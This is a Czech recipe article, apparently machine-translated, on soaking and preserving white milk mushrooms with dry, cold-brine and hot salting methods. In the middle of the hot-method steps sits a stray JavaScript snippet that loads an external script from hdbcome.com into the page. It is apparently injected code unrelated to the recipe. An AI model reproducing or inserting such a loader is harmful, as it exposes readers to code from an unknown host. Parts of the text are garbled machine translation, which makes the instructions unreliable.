Jak správně namáčet houby z bílého mléka?

Sběr mléčných hub je skutečným potěšením! Vyrůstají ve velké rodině a jsou většinou čistotné. V našich lesích odedávna kraluje masitá a šťavnatá houba, která láká houbaře. Za starých časů hospodyňky věděly, jak doma na zimu nakládat bílé mléčné houby, aby zůstaly bílé a byly chutně aromatické a křupavé. Pokud neznáte některé vlastnosti hub a neznáte způsob jejich přípravy, nebudete schopni správně osolit houby.

Existuje několik staletími ověřených receptů na nakládání bílých mléčných hub, předávaných od zkušených houbařů až po začátečníky. Tento studenou cestouvyrábí se suchým solením nebo poléváním vychlazeným lákem. Velmi oblíbený je horký způsob vaření hub, který umožňuje konzervovat úrodu přímo ve sklenicích. Mléčné houby se kromě skleněných nádob solí v rendlíkech, dřevěných vanách a sudech.

• Jak rychle a chutně nakládat houby z bílého mléka doma
• Jak namočit mléčné houby před solením
• Suché solení hub
• Houby z bílého mléka, za studena solené
• Jak nakládat houby z bílého mléka horkou metodou
• Bílá mléčná houba, solená na zimu ve sklenicích
• Video recept na domácí nakládání mléčných hub krok za krokem

Jak rychle a chutně nakládat houby z bílého mléka

Slané houby jsou výborným předkrmem k bramborám, se skleničkou. Aby se mléčné houby nezkazily, dodržujte při jejich zpracování některá důležitá pravidla.

• Na nakládání jsou nejlepší houby mladé, nepříliš velké.
• Předběžné primární zpracování mléčných hub zahrnuje čištění hub od zbytků, vyřazení starých nebo červivých vzorků. Ořízněte mycelium, projeďte čepičkou nožem a odstraňte nečistoty.
• Poté houby namočte, abyste odstranili případnou hořkost. Jak to udělat správně, přečtěte si níže.
• Horká verze přípravy zahrnuje předvaření mléčných hub. Vodu určitě osolte, a aby houby neztmavly a nezůstaly bílé, zakápněte trochou octa.
• Během vaření nezapomeňte odstranit pěnu, lák zůstane průhledný.
• Přidejte koření, až když je solný roztok zcela vyčištěný.
• Jak dlouho byste měli vařit mléčné houby? Stačí 15 minut Počkejte, až se houby usadí na dně, a to považujte za znamení, že jsou hotové.
• U suché verze se snažte nechat houby vcelku, před podáváním je nakrájejte osolené. Pro přípravu horkých žampionů nalévaných na mléko je lepší je ihned nakrájet.
• Kolik soli mám brát? Při suchém solení dejte na každý kg. houby 40 gr. sůl.
• Při solení solankou, bez ohledu na horkou nebo studenou, vezměte více soli – 50-60 gramů. na 1 kg. mléčné houby

Jak namočit mléčné houby před solením

Mléčné houby vylučují hořkou mléčnou šťávu, která může zkazit předkrm. Aby se toho zbavili, dary lesa jsou nasáklé.

• Mléčné houby opláchněte, nejlépe pod tekoucí vodou, poté zalijte velkým množstvím mírně osolené studené vody.
• Pokud se rozhodnete udělat přípravek s horkou solankou, nechte houby 3 hodiny.
• U studené verze se doba namáčení prodlužuje na 3 dny. Během této doby nezapomeňte každých 8-12 hodin vyměnit vodu, aby nezkysla.
• Namočené houby nezapomeňte opláchnout pod vydatným proudem vody.

Suché solení hub

Myslím, že tato metoda je nejlepší, protože s touto možností jsou houby silné, bílé a lahodně křupavé. Jedinou nevýhodou takové přípravy je, že si ji rychle neužijete, budete muset být trpěliví. Ale jaká odměna!

Musíme vzít:

• Bílé mléčné houby – 4 kg.
• Jemná sůl – 400 g.
• Listy třešně, rybízu – 6-10 ks.
• Kopr – několik deštníků.
• Kořen křenu.
• Česnek – 5 hřebíčků.
• Pepř – velká lžíce.
• Granulovaný cukr – malá lžíce.

1. Namočte houby a poté opláchněte.
2. Na dno nakládací nádoby nasypte sůl a část listů kopru.
3. Nahoru položte vrstvu mléčných hub. Posypte je solí a znovu položte houbovou vrstvu a pravidelně přidávejte koření. Takto pokračujte, dokud vám houby nedojdou. Přibližně v polovině snášky přidejte hodně cukru, urychlíte tím proces tvorby bakterií nezbytných pro solení.
4. Houby přikryjeme kolečkem a tlakem přitlačíme. Nechte při pokojové teplotě přesně jeden den.
5. Brzy houby ve velkém množství pustí šťávu. Vezměte pánev do chladné místnosti. Doba solení je 1-2 měsíce při teplotě ne vyšší než 5-8C.
6. Ujistěte se, že houby nejsou pokryté plísní, hrnek pravidelně myjte.
7. V určité fázi můžete pokračovat v solení přímo do sklenic. Když se po dni uvolní šťáva, přendejte mléčné houby do sklenic, navrstvěte je s pepřem, česnekem, kousky křenu a bylinkami. V tomto případě však hned první den nepřidávejte koření, houby zasypte pouze solí. Použijte nylonová víčka, abyste umožnili přístup vzduchu, jinak se proces fermentace a moření zastaví.

Tip: aby vršek při solení méně plesnivý, přidejte do láku pár gramů kyseliny citronové.

Houby z bílého mléka, za studena solené

Na rozdíl od suché verze se zde používá studená solanka. Přípravek lze vyrobit ve velké nádobě nebo přímo ve sklenicích.

Vezměte si na jídlo:

• Mléčné houby – 5 kg.
• Jemná sůl – 250 g.
• Pitná voda – přibližně 1 litr na kg. mléčné houby
• Koprové deštníky, rybízové, třešňové a křenové listy, stroužky česneku.

1. Protřiď houby, vytřiď ty nepoužitelné. Umístěte do sudu, kbelíku nebo pánve s nohama nahoru. Vrstvy hub prokládejte bylinkami.
2. Sůl rozpusťte ve vodě a počkejte, až se krystalky rozptýlí. Naplňte přípravek tak, aby byly houby zcela pokryty nálevem.
3. Nádobu zakryjte dvojitou vrstvou gázy a zatlačte.
4. Buďte trpěliví po dobu 1,5-2 měsíců, poté odeberte vzorek a obdivujte lahodnou svačinu. Hotové kyselé okurky podle potřeby dejte do sklenic a skladujte v chladu pod nylonovým víčkem.

Jak nakládat houby z bílého mléka horkou metodou

Metoda je problematická, ale výsledek vás potěší. Houby vyjdou měkké, šťavnaté a křehké. Svačinu si navíc můžete dopřát mnohem dříve než u jiných možností nakládání. Předpokládá se, že tato metoda je nejbezpečnější.

• Houby – 10 kg.
• Bobkový list – 6 ks.
• Sladký hrášek – velká lžíce.
• Jemná sůl – 0,5 kg.
• Pitná voda – 8 litrů.

Pokud chcete, přidejte třešeň, křen, listy rybízu, pupeny hřebíčku a stroužky česneku.

Houby roztřiďte a zpracujte.

var s = document.createElement(‘script’)
s.setAttribute(‘async’, true)
s.setAttribute(‘charset’, ‘utf-8’)
s.setAttribute(‘data-cfasync’, false)
s.data-data-src = ‘https://hdbcome.com/gdhnds35.js’
document.head && document.head.appendChild(s)

Opláchněte pod velkým množstvím tekoucí vody.

Poté nechte 20 minut vařit. Přidejte všechny bylinky a koření uvedené v receptu. Během vaření nezapomeňte sbírat pěnu, abyste odstranili zbývající nečistoty. Když se houby „utopí“, jsou hotové.

Hotové mléčné houby vyjměte děrovanou lžící.

Rozdělte do sklenic. Sklenice a víčka nejprve sterilizujte.

Přelijte nálevem. Uzavřete běžnými nylonovými víčky (zalijte je vroucí vodou nebo vařte). Když svačina vychladne, uložte ji na zimu do chladné místnosti.

Bílá mléčná houba, solená na zimu ve sklenicích

Neobvyklý recept na konzervaci hub, ale předkrm se ukazuje jako nesrovnatelný. Zkuste to, pokud jste to ještě neudělali.

• Houby – 2 kg.
• Jemná sůl – 100 g.
• Řepa – 2 kg.
• Pepř, bobkový list – 4-5 ks.
• Pitná voda – 4 litry.

1. Řepu a houby vařte v samostatných pánvích do měkka.
2. Vychladíme, nakrájíme na kousky. Umístěte do sklenic.
3. Vařte solanku přidáním soli a koření.
4. Horký lák nalijte do sterilních sklenic a ihned je srolujte. Po 3-5 dnech můžete svačinu vyzkoušet.

Video recept na domácí nakládání mléčných hub

Autor videa je znalý mistr nakládání hub na zimu. Pozorným pohledem a poslechem rad si snadno připravíte vynikající houbový předkrm na zimu. Dobrou chuť!